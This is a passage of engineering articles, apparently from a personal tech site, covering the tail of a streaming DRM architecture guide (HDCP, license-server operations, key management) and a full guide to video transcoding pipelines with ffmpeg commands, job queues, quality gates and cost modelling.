- Watermarks must survive re-encoding attacks (quality degradation, cropping, scaling)
- Robust watermarks may introduce visible artifacts
- Extraction from low-quality re-recordings is unreliable
- Processing pirated content at scale to extract watermarks is resource-intensive

### HDCP

High-bandwidth Digital Content Protection (HDCP) encrypts the link between a player device and display, preventing HDMI capture.

**Versions:**

- **HDCP 1.x:** Broken; master key leaked in 2010
- **HDCP 2.2:** Required for 4K content; no public breaks as of 2024
- **HDCP 2.3:** Latest version, additional robustness

**Output restriction policies:** DRM licenses can require specific HDCP versions. PlayReady and Widevine L1 can enforce "HDCP 2.2 or fail playback," blocking output to non-compliant displays.

**Gotcha:** HDCP compliance is device-path specific. A 4K TV may support HDCP 2.2, but if connected through an older HDMI switch, the path fails HDCP handshake.

## Operational Considerations

### Monitoring and Alerting

**Key metrics:**

| Metric                           | Target  | Alert Threshold |
| -------------------------------- | ------- | --------------- |
| License acquisition success rate | > 99.5% | < 99%           |
| License acquisition p95 latency  | < 500ms | > 1s            |
| CDM initialization failures      | < 0.1%  | > 0.5%          |
| Key rotation success rate        | 100%    | < 100%          |
| Entitlement validation latency   | < 100ms | > 250ms         |

**Error categorization:**

| Error Category   | Examples                                     | Action                 |
| ---------------- | -------------------------------------------- | ---------------------- |
| **Client error** | Unsupported DRM, invalid request             | Log, don't alert       |
| **Auth error**   | Expired subscription, geo-block              | Expected; monitor rate |
| **Server error** | License server down, key service unavailable | Page immediately       |
| **Timeout**      | Network issues, overloaded server            | Scale or investigate   |

### High Availability

License servers are critical path—playback fails without them. Design considerations:

- **Multi-region deployment:** License acquisition should complete within 500ms; deploy near users
- **Caching entitlements:** Cache entitlement decisions (not keys!) with appropriate TTL
- **Graceful degradation:** Return cached license if key service is temporarily unavailable (for previously authorized content)
- **Rate limiting:** Protect against license acquisition storms (reconnect thundering herd)

### Key Management Security

Content keys are crown jewels. Compromise means permanent content exposure.

**Best practices:**

- Keys stored in HSMs (Hardware Security Modules) or cloud KMS
- Separate key service from license service (different security domains)
- Audit logging for all key access
- Key derivation from master keys (limits exposure if individual keys leak)
- Regular key rotation for live content

### Device Management

**Device limits:** Most services cap concurrent streams (e.g., 4 simultaneous). Implemented via:

- License server tracks active sessions per account
- Heartbeat from players confirms continued playback
- Secure stop signals when playback ends

**Device registration:** Premium features (offline viewing, 4K) may require device registration. The license server tracks device certificates (keybox IDs) and enforces limits.

**Revocation:** Compromised device certificates can be revoked. The CDM checks a revocation list; revoked devices cannot acquire new licenses. This is reactive—content already cached remains accessible until license expires.

## Conclusion

DRM for streaming is a pragmatic compromise: it raises the bar for content piracy without providing absolute protection. The system works because it makes casual copying inconvenient while acknowledging that determined attackers will always find workarounds.

**Key architectural insights:**

1. **CENC enables multi-DRM efficiency.** Encrypt once, deliver everywhere. The shift to `cbcs` unified Apple and non-Apple workflows under CMAF.

2. **Hardware DRM (L1/SL3000) is the real protection.** Software DRM deters casual users; hardware DRM prevents screen recording on compliant devices. Premium services gate quality on security level.

3. **License servers are the policy engine.** Business rules (rentals, subscriptions, device limits) are encoded in licenses. The CDM is a cryptographic agent enforcing those policies locally.

4. **EME standardizes the client interface.** JavaScript applications interact with DRM through a common API. The actual security comes from the platform's CDM, which varies dramatically (Chrome L3 vs. Android L1).

5. **DRM + watermarking is the complete strategy.** DRM prevents; watermarking traces. Neither alone addresses all threats. The combination provides both deterrence and accountability.

The operational complexity is significant: supporting three DRM systems, managing keys securely, handling license acquisition at scale, and monitoring for failures across a fragmented device ecosystem. Managed multi-DRM services exist precisely because this operational burden is substantial.

For new deployments: CMAF with `cbcs` encryption, all three DRM systems (Widevine, FairPlay, PlayReady), and a managed DRM provider unless scale justifies self-hosting. The goal is seamless playback across devices—users should never know DRM exists until they try to screenshot a movie.

## Appendix

### Prerequisites

- Familiarity with video streaming concepts (HLS, DASH, manifests, segments)
- Understanding of symmetric encryption (AES modes)
- Basic knowledge of browser APIs (especially Promises, ArrayBuffer)
- Familiarity with HTTP-based media delivery and CDN caching

### Terminology

| Term              | Definition                                                                                                               |
| ----------------- | ------------------------------------------------------------------------------------------------------------------------ |
| **AES-128**       | Advanced Encryption Standard with 128-bit keys—the encryption algorithm used by all DRM systems                          |
| **cbcs**          | CENC protection scheme using AES-CBC with pattern encryption—required for FairPlay and CMAF                              |
| **CDM**           | Content Decryption Module—platform component that handles DRM decryption (Widevine, FairPlay, PlayReady implementations) |
| **CENC**          | Common Encryption (ISO/IEC 23001-7)—standard for multi-DRM compatible encryption                                         |
| **CKC**           | Content Key Context—FairPlay's license response containing the encrypted content key                                     |
| **CMAF**          | Common Media Application Format—unified fMP4 container for HLS and DASH                                                  |
| **CPIX**          | Content Protection Information Exchange—DASH-IF standard for key exchange between services                               |
| **EME**           | Encrypted Media Extensions—W3C API connecting JavaScript to CDMs                                                         |
| **HDCP**          | High-bandwidth Digital Content Protection—encryption for HDMI/DisplayPort links                                          |
| **HSM**           | Hardware Security Module—tamper-resistant device for cryptographic key storage                                           |
| **KSM**           | Key Security Module—Apple's term for the FairPlay license server component                                               |
| **L1/L3**         | Widevine security levels—L1 is hardware TEE, L3 is software-only                                                         |
| **NAL**           | Network Abstraction Layer—framing structure in H.264/HEVC bitstreams                                                     |
| **PSSH**          | Protection System Specific Header—DRM metadata box in fMP4 containing key IDs and system-specific data                   |
| **SL2000/SL3000** | PlayReady security levels—SL3000 is hardware TEE, SL2000 is software                                                     |
| **SPC**           | Server Playback Context—FairPlay's license request blob                                                                  |
| **SPEKE**         | Secure Packager and Encoder Key Exchange—AWS protocol built on CPIX                                                      |
| **TEE**           | Trusted Execution Environment—hardware-isolated secure processing area                                                   |

### Summary

- **CENC standardizes encryption** for multi-DRM. Single encrypted file works with Widevine, FairPlay, and PlayReady. Use `cbcs` mode for CMAF compatibility.
- **Three DRM systems exist because of hardware trust.** Each platform vendor controls their TEE. Widevine (Google), FairPlay (Apple), PlayReady (Microsoft) cannot be consolidated.
- **Security levels determine content quality.** L1/SL3000 (hardware) enables 4K; L3/SL2000 (software) is capped at SD/720p. Premium services enforce hardware DRM.
- **License servers enforce policy, not just keys.** Rental expiration, device limits, output restrictions—all encoded in licenses that CDMs enforce locally.
- **EME is the browser API, not the security.** EME provides a standard interface; actual protection comes from the CDM, which varies by platform.
- **DRM prevents casual copying; watermarking traces leaks.** No DRM stops determined attackers. The practical goal is making piracy inconvenient and traceable.

### References

**Specifications:**

- [ISO/IEC 23001-7:2023 - Common Encryption](https://www.iso.org/standard/84637.html) - CENC specification defining encryption modes and subsample encryption
- [W3C Encrypted Media Extensions](https://www.w3.org/TR/encrypted-media-2/) - EME API specification for browser DRM integration
- [W3C "cenc" Initialization Data Format](https://w3c.github.io/encrypted-media/format-registry/initdata/cenc.html) - PSSH format for EME
- [DASH-IF CPIX Specification](https://dashif.org/guidelines/) - Content Protection Information Exchange format

**Official Documentation:**

- [Apple FairPlay Streaming](https://developer.apple.com/streaming/fps/) - FairPlay implementation guide and requirements
- [Apple FairPlay Streaming Overview (PDF)](https://developer.apple.com/streaming/fps/FairPlayStreamingOverview.pdf) - Technical overview of SPC/CKC flow
- [Microsoft PlayReady Security Level](https://learn.microsoft.com/en-us/playready/overview/security-level) - SL2000/SL3000 definitions
- [Microsoft PlayReady Content Encryption Modes](https://learn.microsoft.com/en-us/playready/packaging/content-encryption-modes) - cenc vs cbcs support
- [Widevine DRM](https://www.widevine.com/) - Google's DRM system overview

**Tools:**

- [Shaka Packager](https://github.com/shaka-project/shaka-packager) - Open-source packager with multi-DRM support
- [Shaka Packager DRM Documentation](https://shaka-project.github.io/shaka-packager/html/tutorials/drm.html) - Encryption and PSSH generation

**Technical Resources:**

- [Axinom DRM Documentation](https://docs.axinom.com/services/drm/general/what-is-drm/) - Comprehensive DRM architecture explanations
- [PSSH Box Structure (Axinom)](https://docs.axinom.com/services/drm/technical-articles/pssh/) - Detailed PSSH format documentation
- [Unified Streaming CENC Documentation](https://docs.unified-streaming.com/documentation/drm/common-encryption.html) - Practical CENC implementation guidance
- [web.dev EME Basics](https://web.dev/articles/eme-basics) - EME tutorial and flow explanation
- [Bitmovin Widevine Security Levels](https://developer.bitmovin.com/playback/docs/widevine-security-levels-in-web-video-playback) - L1/L2/L3 technical details
- [Bitmovin FairPlay Overview](https://developer.bitmovin.com/playback/docs/how-does-fairplay-work) - FairPlay key exchange flow

---

## Video Transcoding Pipeline Design

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/media-systems/video-transcoding-pipeline
**Category:** Platform Engineering / Media Systems
**Description:** Building scalable video transcoding pipelines requires orchestrating CPU/GPU-intensive encoding jobs across distributed infrastructure while optimizing for quality, cost, and throughput. This article covers pipeline architecture patterns, codec selection, rate control strategies, job orchestration with chunked parallel processing, quality validation, and failure handling for production video platforms.

# Video Transcoding Pipeline Design

Building scalable video transcoding pipelines requires orchestrating CPU/GPU-intensive encoding jobs across distributed infrastructure while optimizing for quality, cost, and throughput. This article covers pipeline architecture patterns, codec selection, rate control strategies, job orchestration with chunked parallel processing, quality validation, and failure handling for production video platforms.

<figure>

![End-to-end transcoding pipeline: source ingestion through job orchestration, distributed encoding with chunked parallelization, quality validation, and CDN delivery](./end-to-end-transcoding-pipeline-source-ingestion-through-job-orchestration-distr.svg)

<figcaption>End-to-end transcoding pipeline: source ingestion through job orchestration, distributed encoding with chunked parallelization, quality validation, and CDN delivery</figcaption>

</figure>

## Abstract

A video transcoding pipeline transforms source video into multiple renditions optimized for adaptive streaming. The core challenge: encoding is computationally expensive (a 4K video can take 10-100x real-time on CPU), yet platforms need to process thousands of hours daily with predictable latency.

**The mental model:**

1. **Encoding is the bottleneck.** Everything else (upload, packaging, CDN propagation) takes seconds; encoding takes minutes to hours. Pipeline design optimizes encoding throughput.

2. **Parallelization happens at two levels:** across videos (horizontal scaling via job queues) and within a video (chunked encoding). The first scales linearly with workers; the second reduces wall-clock time for individual jobs.

3. **Rate control determines quality-to-size trade-off.** CRF (Constant Rate Factor) targets quality, CBR (Constant Bitrate) targets file size. Streaming uses constrained VBR (Variable Bitrate)—CRF with bitrate caps—to balance quality consistency with bandwidth predictability.

4. **The bitrate ladder maps quality to network conditions.** Static ladders (one-size-fits-all) waste bits on simple content and starve complex content. Per-title encoding builds content-specific ladders via convex hull optimization, achieving 20-30% bandwidth savings.

5. **Quality validation closes the loop.** VMAF (Video Multi-Method Assessment Fusion) correlates with human perception better than PSNR/SSIM (Peak Signal-to-Noise Ratio / Structural Similarity Index). Automated quality gates prevent shipping degraded encodes.

6. **Cost splits three ways:** compute (encoding), storage (renditions × retention), egress (CDN delivery). At scale, egress dominates—efficient codecs (AV1, HEVC) reduce storage and egress at the cost of higher compute.

**Cost trade-off summary:**

| Cost Factor | Optimization Lever                 | Trade-off               |
| ----------- | ---------------------------------- | ----------------------- |
| Compute     | GPU encoding, parallel chunking    | Higher infra complexity |
| Storage     | Fewer renditions, efficient codecs | Playback compatibility  |
| Egress      | Better compression, regional CDN   | Compute cost increase   |

## Pipeline Stages

A transcoding pipeline processes videos through distinct stages, each with specific failure modes and scaling characteristics.

### Stage 1: Ingestion and Validation

Before encoding begins, the pipeline validates source files to fail fast on corrupt or unsupported content.

**Validation checks:**

| Check            | Purpose                     | Failure Mode           |
| ---------------- | --------------------------- | ---------------------- |
| Container format | Ensure demuxable            | Corrupt file header    |
| Codec probe      | Verify decoder availability | Unsupported codec      |
| Duration         | Detect truncation           | Incomplete upload      |
| Resolution/FPS   | Enforce limits              | Exceeds max (e.g., 8K) |
| Audio streams    | Map language tracks         | Missing audio          |

**Design decision: Probe vs. full decode.** FFprobe reads metadata in milliseconds; full decode verification takes minutes. Production pipelines typically probe only, accepting that rare corrupt files will fail during encoding. The trade-off: faster validation vs. later failures requiring reprocessing.

```bash title="validation.sh" collapse={1-2, 8-20}
#!/bin/bash
# Probe source file for validation

ffprobe -v error \
  -show_entries format=duration,size,bit_rate \
  -show_entries stream=codec_type,codec_name,width,height,r_frame_rate \
  -of json \
  "$INPUT_FILE"

# Output example:
# {
#   "format": {
#     "duration": "3600.123",
#     "size": "4294967296",
#     "bit_rate": "9534567"
#   },
#   "streams": [
#     {"codec_type": "video", "codec_name": "h264", "width": 1920, "height": 1080, "r_frame_rate": "30000/1001"},
#     {"codec_type": "audio", "codec_name": "aac"}
#   ]
# }
```

**Gotcha: Variable frame rate (VFR).** Some sources (screen recordings, phone videos) have variable frame rates. FFprobe reports average FPS, masking the issue. VFR causes A/V sync drift in HLS/DASH. Mitigation: force constant frame rate during encoding with `-vsync cfr`.

### Stage 2: Job Queue and Scheduling

Encoding jobs enter a queue for processing by worker pools. The queue provides decoupling (producers and consumers scale independently), persistence (jobs survive worker crashes), and prioritization (premium content before UGC).

**Queue architecture patterns:**

| Pattern                | Technology                   | Best For                         |
| ---------------------- | ---------------------------- | -------------------------------- |
| Simple FIFO            | SQS, Redis Lists             | Uniform priority, moderate scale |
| Priority queues        | Redis Sorted Sets, RabbitMQ  | Mixed content tiers              |
| Workflow orchestration | AWS Step Functions, Temporal | Complex multi-stage pipelines    |
| Event-driven           | SQS + Lambda/ECS             | Serverless, bursty workloads     |

**Design rationale for SQS:** SQS provides at-least-once delivery with automatic retries, visibility timeout for in-flight job protection, and dead-letter queues (DLQ) for failed jobs. The trade-off: no strict ordering (which transcoding doesn't need) in exchange for high availability.

**Job message structure:**

```json title="job-message.json"
{
  "jobId": "uuid-v4",
  "sourceUrl": "s3://input-bucket/source.mp4",
  "outputPrefix": "s3://output-bucket/encoded/",
  "profile": "hls-h264-ladder",
  "priority": 1,
  "metadata": {
    "title": "Example Video",
    "contentId": "12345"
  },
  "createdAt": "2025-01-15T10:30:00Z"
}
```

**Visibility timeout tuning:** Set visibility timeout to expected encoding time + buffer. If a 1-hour video typically encodes in 30 minutes, set 45 minutes. Too short: jobs become visible again mid-encoding, causing duplicate work. Too long: failed jobs wait unnecessarily before retry.

### Stage 3: Chunked Parallel Encoding

The key to reducing wall-clock time for individual videos: split the source into chunks, encode in parallel, then merge. This is distinct from multi-bitrate encoding (which parallelizes across renditions).

**Why chunking works:**

```
Sequential encoding (1 worker):
[======================================] 60 min

Parallel chunked (6 workers, 10 chunks):
[====] [====] [====] [====] [====] [====] [====] [====] [====] [====]
  W1     W2     W3     W4     W5     W6     W1     W2     W3     W4
└─────────────────────────────────────────────────────────────────┘
                            ~12 min total
```

**Chunking constraints:**

1. **Chunks must start at keyframes (I-frames).** Video codecs use inter-frame compression; P/B-frames reference previous frames. Cutting mid-GOP (Group of Pictures) produces undecodable output.

2. **GOP alignment must be consistent.** If source has irregular keyframe intervals, re-encode to fixed GOP first, or accept variable chunk sizes.

3. **Audio requires independent chunking.** Audio frames don't align with video GOPs. Either:
   - Encode audio once, full-file (audio encoding is fast)
   - Split at packet boundaries and accept minor gaps at chunk joins

**Distributed chunking workflow (fan-out/fan-in):**

![Diagram](./diagram-1.svg)

**Splitting at keyframes:**

```bash title="split-chunks.sh" collapse={1-2}
#!/bin/bash
# Split video into chunks at keyframe boundaries

ffmpeg -i source.mp4 \
  -c copy \
  -f segment \
  -segment_time 60 \
  -reset_timestamps 1 \
  -map 0:v:0 \
  chunk_%03d.mp4
```

**Concatenating encoded chunks:**

```bash title="concat-chunks.sh" collapse={1-5}
#!/bin/bash
# Concatenate encoded chunks back together

# Create file list
echo "file 'encoded_chunk_000.mp4'" > chunks.txt
echo "file 'encoded_chunk_001.mp4'" >> chunks.txt
# ... repeat for all chunks

ffmpeg -f concat -safe 0 -i chunks.txt -c copy output.mp4
```

**Gotcha: Timestamp discontinuities.** Concatenated chunks may have timestamp gaps. Use `-reset_timestamps 1` during split and verify PTS (Presentation Timestamp) continuity after merge. Players handle small gaps (<100ms) but larger discontinuities cause seeks or stalls.

**Production implementation pattern (AWS):**

1. Upload triggers S3 event → Lambda
2. Lambda splits source into chunks, uploads to S3
3. Lambda enqueues N encoding jobs (one per chunk) to SQS
4. ECS Fargate workers pull jobs, encode, upload results
5. DynamoDB tracks chunk completion status
6. When all chunks complete, Step Functions triggers concatenation
7. Final output uploaded to CDN origin

This pattern—pioneered by projects like Bento—achieves 90%+ faster encoding than single-instance approaches and 50% faster than AWS MediaConvert for large files.

## Codec Selection and Rate Control

Codec choice determines compression efficiency, hardware compatibility, and compute cost. Rate control determines quality consistency and file size predictability.

### Codec Comparison for Transcoding

| Codec         | Encode Speed  | Compression   | Hardware Support | Use Case         |
| ------------- | ------------- | ------------- | ---------------- | ---------------- |
| H.264 (x264)  | Fast          | Baseline      | Universal        | Default, live    |
| H.265 (x265)  | 5-10x slower  | +50% vs H.264 | ~92% browsers    | 4K/HDR VOD       |
| AV1 (SVT-AV1) | 10-20x slower | +30% vs H.265 | ~88% Netflix TVs | High-volume VOD  |
| VP9           | 5x slower     | ~H.265        | Chrome, Android  | YouTube fallback |

**Design rationale for codec ladder:** Start with H.264 for universal reach. Add HEVC/AV1 for bandwidth savings on compatible devices. The player negotiates codec via manifest `CODECS` attribute.

**SVT-AV1 adoption note (2024-2025):** Netflix reports AV1 powers 30% of streaming, making it their second most-used codec. SVT-AV1 2.0.0 (March 2024) brought significant performance improvements. Intel and Netflix collaboration produced a production-ready encoder with multi-dimensional parallelism.

### Rate Control Strategies

**CRF (Constant Rate Factor):** Targets perceptual quality. Higher CRF = lower quality, smaller file. The encoder varies bitrate to maintain quality.

| Codec   | CRF Range | Default | "Visually Lossless" |
| ------- | --------- | ------- | ------------------- |
| x264    | 0-51      | 23      | ~18                 |
| x265    | 0-51      | 28      | ~24                 |
| SVT-AV1 | 0-63      | —       | ~23                 |

**Gotcha: CRF produces unpredictable file sizes.** A static scene might encode at 1 Mbps; an action sequence at 15 Mbps. For streaming with bandwidth constraints, use constrained CRF.

**Constrained CRF (Capped VBR):** Combines quality targeting with bitrate limits. Essential for streaming where buffer underruns must be avoided.

```bash title="constrained-crf.sh" collapse={1-2}
#!/bin/bash
# H.264 encoding with capped CRF for streaming

ffmpeg -i source.mp4 \
  -c:v libx264 \
  -preset slow \
  -crf 23 \
  -maxrate 5M \
  -bufsize 10M \
  -profile:v high \
  -level 4.1 \
  output.mp4
```

**Parameter explanation:**

| Parameter         | Purpose                                   |
| ----------------- | ----------------------------------------- |
| `-crf 23`         | Target quality (lower = better)           |
| `-maxrate 5M`     | Peak bitrate cap                          |
| `-bufsize 10M`    | VBV buffer (2x maxrate typical)           |
| `-profile:v high` | H.264 profile (compression features)      |
| `-level 4.1`      | Compatibility level (decoder constraints) |

**CBR (Constant Bitrate):** Forces exact bitrate, padding if necessary. Required only for broadcast/satellite where fixed bitrate is mandated. Wastes bits on simple scenes.

**2-Pass VBR:** First pass analyzes content complexity; second pass allocates bits optimally. Produces best quality-per-bit but doubles encoding time. Use for premium VOD where encoding cost amortizes across millions of views.

```bash title="two-pass.sh" collapse={1-2}
#!/bin/bash
# 2-pass encoding for optimal bitrate distribution

# Pass 1: Analysis (no output file)
ffmpeg -i source.mp4 \
  -c:v libx264 -preset slow -b:v 5M \
  -pass 1 -f null /dev/null

# Pass 2: Encode with analysis data
ffmpeg -i source.mp4 \
  -c:v libx264 -preset slow -b:v 5M \
  -pass 2 output.mp4
```

### Preset Trade-offs

Encoder presets trade encoding time for compression efficiency. Slower presets try more encoding options, finding better compression.

| Preset    | x264 Speed | File Size | Use Case       |
| --------- | ---------- | --------- | -------------- |
| ultrafast | 1x         | +50-100%  | Testing only   |
| veryfast  | 2x         | +20-30%   | Live streaming |
| medium    | 4x         | Baseline  | Default        |
| slow      | 8x         | -5-10%    | VOD            |
| veryslow  | 16x        | -10-15%   | Premium VOD    |

**Production recommendation:** Use `-preset slow` for VOD. The quality improvement from `veryslow` is marginal (<0.5% file size reduction) but encoding time doubles. The sweet spot is `slow` for quality-sensitive content, `medium` for high-volume UGC.

## Bitrate Ladder Design

The bitrate ladder defines which resolution/bitrate combinations are offered for adaptive streaming. Poor ladder design causes wasted bandwidth or quality oscillations.

### Static vs. Per-Title Encoding

**Static ladder (one-size-fits-all):** Same renditions for all content. Simple to implement but inefficient.

```
Example static ladder (H.264):
1920x1080 @ 8 Mbps
1920x1080 @ 5 Mbps
1280x720  @ 3 Mbps
1280x720  @ 1.8 Mbps
854x480   @ 1.1 Mbps
640x360   @ 600 kbps
426x240   @ 300 kbps
```

**Problem:** A static talking-head video achieves excellent quality at 1.5 Mbps 1080p. An action sequence needs 8 Mbps. Static ladders either waste bandwidth on simple content or under-serve complex content.

**Per-title encoding:** Analyze each video's complexity and generate a custom ladder. Netflix pioneered this approach, reporting 20% bandwidth reduction without quality loss.

**Convex hull optimization:** Encode at many bitrate/resolution combinations, measure quality (VMAF), plot rate-distortion curve. Select the Pareto-optimal points (convex hull) where quality improvements justify bitrate increases.

![Diagram](./diagram-2.svg)

**Per-shot encoding (advanced):** Netflix's current approach varies encoding parameters per shot within a video, not just per title. Scene cuts trigger re-evaluation of optimal settings. This exploits the observation that complexity varies dramatically within a single video.

**Implementation cost:** Per-title encoding requires encoding many variants to find the optimal ladder—typically 50-100 encodes per video. This is practical only when:

1. Content will be viewed millions of times (VOD catalog)
2. Bandwidth savings exceed additional compute cost
3. Pipeline can tolerate longer encoding latency

For UGC (User-Generated Content) with limited views, static ladders remain cost-effective.

### Resolution Capping

**Insight:** Below certain bitrates, lower resolution at higher quality beats higher resolution at lower quality. A crisp 720p image looks better than a blocky 1080p image.

**Resolution cap guidelines:**

| Bitrate  | Max Resolution     |
| -------- | ------------------ |
| < 1 Mbps | 480p               |
| 1-2 Mbps | 720p               |
| 2-5 Mbps | 1080p              |
| > 5 Mbps | 4K (with HEVC/AV1) |

These thresholds vary by content type. Animation tolerates lower bitrates than live action; sports require higher bitrates than drama.

## Quality Validation

Quality validation ensures encoded output meets standards before publishing. Manual QC doesn't scale; automated metrics enable continuous validation.

### Quality Metrics

**VMAF (Video Multi-Method Assessment Fusion):** Machine learning model trained on human perception scores. Developed by Netflix with USC, University of Nantes, and UT Austin. Correlates better with human judgment than traditional metrics.

| VMAF Score | Interpretation                |
| ---------- | ----------------------------- |
| 93+        | Excellent (reference quality) |
| 80-93      | Good (broadcast quality)      |
| 70-80      | Fair (acceptable mobile)      |
| < 70       | Poor (visible artifacts)      |

**PSNR (Peak Signal-to-Noise Ratio):** Classic metric measuring pixel-level differences. Fast to compute but poorly correlates with perception. A PSNR of 40 dB is generally considered good, but the same PSNR can look different depending on content.

**SSIM (Structural Similarity Index):** Measures structural similarity, luminance, and contrast. Better than PSNR but still limited. Values range 0-1; above 0.95 is typically acceptable.

**Production recommendation:** Use VMAF as primary metric with PSNR/SSIM as supplementary. VMAF requires reference video (full-reference metric), making it suitable for VOD but not live.

### Automated Quality Gates

```bash title="quality-check.sh" collapse={1-2}
#!/bin/bash
# Calculate VMAF score using FFmpeg's libvmaf

ffmpeg -i encoded.mp4 -i source.mp4 \
  -lavfi "libvmaf=model=version=vmaf_v0.6.1:log_path=vmaf.json:log_fmt=json" \
  -f null -

# Parse VMAF score from JSON output
VMAF_SCORE=$(jq '.pooled_metrics.vmaf.mean' vmaf.json)

# Quality gate
if (( $(echo "$VMAF_SCORE < 80" | bc -l) )); then
  echo "VMAF score $VMAF_SCORE below threshold, failing job"
  exit 1
fi
```

**VMAF model selection:**

| Model          | Use Case                             |
| -------------- | ------------------------------------ |
| vmaf_v0.6.1    | Default, trained on 1080p TV viewing |
| vmaf_4k_v0.6.1 | 4K content                           |
| vmaf_v0.6.1neg | Includes negative quality scores     |

**GPU-accelerated VMAF:** NVIDIA's VMAF-CUDA (FFmpeg 6.1+) achieves ~6x speedup for 1080p/4K. Use when quality validation becomes a bottleneck.

### A/B Testing Quality Configurations

Quality metrics don't capture all perceptual effects. Production systems A/B test encoding configurations:

1. Encode subset with configuration A and B
2. Serve randomly to user cohorts
3. Measure engagement metrics (rebuffer rate, abandonment, watch time)
4. Statistical significance determines winner

This closed-loop approach catches issues metrics miss, such as encoding artifacts that correlate with content type.

## Failure Handling and Resilience

Transcoding pipelines face failures at every stage: corrupt inputs, encoder crashes, resource exhaustion, network errors. Robust error handling is essential.

### Failure Taxonomy

| Failure Type    | Example           | Recovery Strategy         |
| --------------- | ----------------- | ------------------------- |
| Transient       | Network timeout   | Retry with backoff        |
| Idempotent      | Encoder OOM       | Retry with more resources |
| Non-idempotent  | Partial upload    | Fail, don't retry         |
| Permanent       | Unsupported codec | Dead-letter queue         |
| Data corruption | Truncated source  | Fail, alert               |

**Critical rule:** Never retry non-idempotent operations. If a job partially completed (uploaded some chunks), retrying may produce duplicate or corrupt output. Mark as failed and investigate.

### Retry with Exponential Backoff

```typescript title="retry.ts" collapse={1-4, 20-30}
// Retry with exponential backoff and jitter
interface RetryConfig {
  maxRetries: number
  baseDelayMs: number
  maxDelayMs: number
}

async function withRetry<T>(operation: () => Promise<T>, config: RetryConfig): Promise<T> {
  let lastError: Error

  for (let attempt = 0; attempt < config.maxRetries; attempt++) {
    try {
      return await operation()
    } catch (error) {
      lastError = error as Error

      // Don't retry client errors (4xx equivalent)
      if (isClientError(error)) {
        throw error
      }

      // Exponential backoff with jitter
      const delay = Math.min(config.maxDelayMs, config.baseDelayMs * Math.pow(2, attempt) * (0.5 + Math.random()))

      await sleep(delay)
    }
  }

  throw lastError
}
```

**Backoff parameters for encoding:**

| Parameter   | Value | Rationale                             |
| ----------- | ----- | ------------------------------------- |
| maxRetries  | 3     | Encoding is expensive; limit attempts |
| baseDelayMs | 5000  | Allow transient issues to resolve     |
| maxDelayMs  | 60000 | Cap wait time at 1 minute             |

### Circuit Breaker Pattern

When a downstream dependency (encoder service, storage) fails repeatedly, stop calling it. This prevents cascading failures and allows recovery.

**Circuit breaker states:**

1. **Closed:** Normal operation, requests pass through
2. **Open:** Failure threshold exceeded, requests fail immediately
3. **Half-open:** After timeout, allow test requests to check recovery

**Thresholds for encoding pipelines:**

| Metric      | Threshold           | Action          |
| ----------- | ------------------- | --------------- |
| Error rate  | > 50% in 10s window | Open circuit    |
| Latency p99 | > 3x baseline       | Shed load       |
| Queue depth | > 10x capacity      | Reject new jobs |

### Dead-Letter Queues

Jobs that fail all retries go to a DLQ for investigation. DLQ messages include:

- Original job payload
- Failure reason and stack trace
- Attempt count and timestamps
- Worker instance ID

**DLQ processing:**

1. Alert on DLQ depth (any message is abnormal)
2. Manual investigation for patterns
3. Fix root cause, reprocess if possible
4. Purge after resolution

### Monitoring and Alerting

**Key metrics:**

| Metric                | Target   | Alert Threshold |
| --------------------- | -------- | --------------- |
| Encoding success rate | > 99.5%  | < 99%           |
| Queue depth           | < 1000   | > 5000          |
| p50 encoding time     | Baseline | > 2x baseline   |
| p99 encoding time     | Baseline | > 5x baseline   |
| VMAF score mean       | > 85     | < 80            |
| DLQ depth             | 0        | > 0             |

**Structured logging:**

```json title="log-entry.json"
{
  "timestamp": "2025-01-15T10:35:42Z",
  "level": "info",
  "jobId": "abc-123",
  "stage": "encoding",
  "codec": "h264",
  "resolution": "1080p",
  "duration_ms": 183000,
  "vmaf_score": 87.3,
  "output_size_bytes": 524288000
}
```

Structured logs enable querying: "Show all jobs with VMAF < 80 in the last hour" or "Average encoding time by codec."

## Cost Optimization

Video transcoding costs split across compute, storage, and egress. At scale, the distribution shifts—what seems negligible at prototype scale dominates at production scale.

### Cost Components

**Compute costs:**

| Instance Type     | Cost/hr | Encode Speed (1080p H.264) | Cost/hr of video |
| ----------------- | ------- | -------------------------- | ---------------- |
| c6i.4xlarge (CPU) | $0.68   | ~1x real-time              | $0.68            |
| g4dn.xlarge (GPU) | $0.526  | ~4x real-time              | $0.13            |
| vt1.3xlarge (VPU) | $0.65   | ~8x real-time              | $0.08            |

**Storage costs (S3 standard):**

| Retention             | Cost/TB/month |
| --------------------- | ------------- |
| 1 year                | $276          |
| Source + 7 renditions | $2,208        |

**Egress costs (AWS to internet):**

| Volume/month | Cost/GB |
| ------------ | ------- |
| First 10 TB  | $0.09   |
| Next 40 TB   | $0.085  |
| 100+ TB      | $0.07   |

At 1 PB/month egress, AWS costs ~$1M/year. Alternative providers (OCI, Linode) offer 10-18x lower egress rates.

### Optimization Strategies

**1. Right-size compute:** GPU encoding (NVENC) is 73% more cost-effective than CPU for H.264, 82% for H.265. Trade-off: GPU encoders produce slightly larger files at same quality (lower compression efficiency). Use GPU for volume, CPU for quality-critical content.

**2. Reduce rendition count:** Each rendition multiplies storage. Analyze actual device distribution—if 95% of views are 1080p or below, don't encode 4K. Per-title encoding naturally reduces renditions by selecting only necessary quality steps.

**3. Aggressive codec migration:** AV1 at same quality uses 30% less bitrate than HEVC, 50% less than H.264. Each percentage point of bitrate reduction directly reduces egress cost. The higher encoding cost amortizes across views.

**4. CDN cache efficiency:** CMAF enables single-file storage for HLS and DASH, halving storage. Higher cache hit ratio reduces origin egress. Monitor cache hit rate; <90% indicates TTL or segmentation issues.

**5. Regional encoding:** Encode near where content will be consumed. Uploading source to US, encoding, then delivering to Asia doubles egress. Regional encoding pipelines keep data in-region.

### Cost Modeling Example

**Scenario:** 1,000 hours of video/month, 100M views, average 30 minutes watch time

| Component        | Calculation          | Monthly Cost |
| ---------------- | -------------------- | ------------ |
| Encoding (GPU)   | 1,000 hrs × $0.13/hr | $130         |
| Storage (1 year) | 8 TB × $23/TB        | $184         |
| Egress           | 50 PB × $0.07/GB     | $3,500,000   |

**Insight:** Egress dominates. A 10% compression improvement saves $350,000/month—far exceeding any encoding cost increase from using slower presets or better codecs.

## Security and Content Protection

Video transcoding pipelines handle valuable content and must protect against theft, tampering, and unauthorized distribution.

### Encryption at Rest and Transit

**Storage encryption:** Enable server-side encryption (SSE-S3, SSE-KMS) for all buckets. Source files, intermediates, and outputs should all be encrypted.

